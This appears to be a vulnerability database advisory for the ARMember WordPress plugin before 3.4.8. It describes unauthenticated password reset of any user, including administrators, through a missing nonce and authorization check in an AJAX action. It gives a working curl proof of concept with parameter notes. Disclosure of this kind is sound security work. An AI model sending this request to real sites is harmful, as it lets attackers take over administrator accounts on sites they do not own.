WordPress Plugin Vulnerabilities

ARMember < 3.4.8 - Unauthenticated Admin Account Takeover

Description

The plugin is vulnerable to account takeover (even the administrator) due to missing nonce and authorization checks in an AJAX action available to unauthenticated users, allowing them to change the password of arbitrary users by knowing their username

Proof of Concept

curl 'https://example.com/wp-admin/admin-ajax.php' \
    --data 'action=arm_shortcode_form_ajax_action&user_pass=newpassword&repeat_pass=newpassword&arm_action=change-password&key2=x&action2=rp&login2=admin'

Notes:
+ The `login2` parameter corresponds to the username to change the password for (in our case it's the "admin" user)
+ The `user_pass` and `repeat_pass` correspond to the new password to be set (both fields must be set to the same password)

Affects Plugins

Fixed in 3.4.8

References

Classification

Type
NO AUTHORISATION
CWE

Miscellaneous

Original Researcher
cydave
Submitter
cydave
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-06-06 (about 1 years ago)
Added
2022-06-06 (about 1 years ago)
Last Updated
2023-03-09 (about 1 years ago)

Other